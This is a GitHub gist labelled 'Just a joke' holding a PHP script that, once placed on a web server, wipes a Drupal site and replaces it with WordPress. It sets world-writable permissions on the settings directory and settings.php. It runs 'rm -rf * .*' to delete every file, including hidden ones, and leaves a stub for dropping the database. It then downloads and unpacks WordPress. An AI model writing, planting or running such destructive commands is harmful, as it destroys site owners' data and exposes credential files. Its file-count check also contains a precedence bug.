Created
January 21, 2014 00:47
-
-
Save danreb/8532285 to your computer and use it in GitHub Desktop.
Just a joke
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ob_start(); | |
if (function_exists('shell_exec')) { | |
// Adjust permission | |
echo "Changing mode.....<br />"; | |
`chmod 777 sites/default`; | |
`chmod 777 sites/default/settings.php`; | |
// Delete all files | |
echo "Deleting all files....<br />"; | |
`rm -rf * .*`; | |
// TODO - code to delete the current database | |
echo "Deleting database...<br />"; | |
`echo drop code must go here!`; | |
// Make sure if current working directory is empty | |
if ($files = scandir(getcwd()) && count($files) < 2) { | |
echo "Downloading wordpress CMS files....<br /><br />"; | |
`wget http://wordpress.org/latest.tar.gz`; | |
`tar -zxvf latest.tar.gz`; | |
`rm -rf latest.tar.gz`; | |
} | |
// Redirect to wordpress installation | |
header('Location: wordpress/wp-admin/setup-config.php'); | |
} | |
?> | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment